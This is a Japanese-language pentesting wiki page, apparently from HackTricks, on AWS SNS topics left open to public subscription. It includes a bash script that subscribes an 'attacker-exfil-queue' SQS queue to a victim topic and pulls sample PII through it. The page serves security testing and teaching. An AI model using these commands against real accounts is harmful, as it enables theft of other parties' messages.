Files

3.2 KiB

AWS - SNS 未認証の列挙

{{#include ../../../../banners/hacktricks-training.md}}

SNS

For more information about SNS check:

{{#ref}} ../../aws-services/aws-sns-enum.md {{#endref}}

全員に公開

Web コンソールから SNS トピックを設定する際、トピックに対して Everyone can publish and subscribe と指定することができます:

したがって、アカウント内のトピックの ARN を見つける(またはトピック名を brute forcing して見つける)ことができれば、それらに対して publish または subscribe できるかを 確認 できます。

これは、SNS トピックのリソースポリシーが sns:Subscribe*(または外部アカウント)に許可しているのと同等です。任意の principal は、今後のすべてのトピックメッセージを自身が所有する SQS キューに配信するサブスクリプションを作成できます。キューの所有者がサブスクリプションを開始した場合、SQS エンドポイントに対して人間の確認は不要です。

再現 (us-east-1) ```bash REGION=us-east-1 # Victim account (topic owner) VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)

Open the topic to anyone subscribing

cat > /tmp/topic-policy.json <<JSON {"Version":"2012-10-17","Statement":[{"Sid":"OpenSubscribe","Effect":"Allow","Principal":"*","Action":"sns:Subscribe","Resource":"$VICTIM_TOPIC_ARN"}]} JSON aws sns set-topic-attributes --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --attribute-name Policy --attribute-value file:///tmp/topic-policy.json

Attacker account (queue owner)

ATTACKER_Q_URL=$(aws sqs create-queue --queue-name attacker-exfil-queue-$(date +%s) --region $REGION --query QueueUrl --output text) ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

Allow the victim topic to send to the attacker queue

cat > /tmp/sqs-policy.json <<JSON {"Version":"2012-10-17","Statement":[{"Sid":"AllowVictimTopicSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$ATTACKER_Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$VICTIM_TOPIC_ARN"}}}]} JSON aws sqs set-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attributes Policy="$(cat /tmp/sqs-policy.json)"

Subscribe the attacker queue to the victim topic (auto-confirmed for SQS)

SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --protocol sqs --notification-endpoint "$ATTACKER_Q_ARN" --query SubscriptionArn --output text)

Validation: publish and receive

aws sns publish --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --message {pii:ssn:123-45-6789} aws sqs receive-message --queue-url "$ATTACKER_Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --query Messages[0].Body --output text

</details>

{{#include ../../../../banners/hacktricks-training.md}}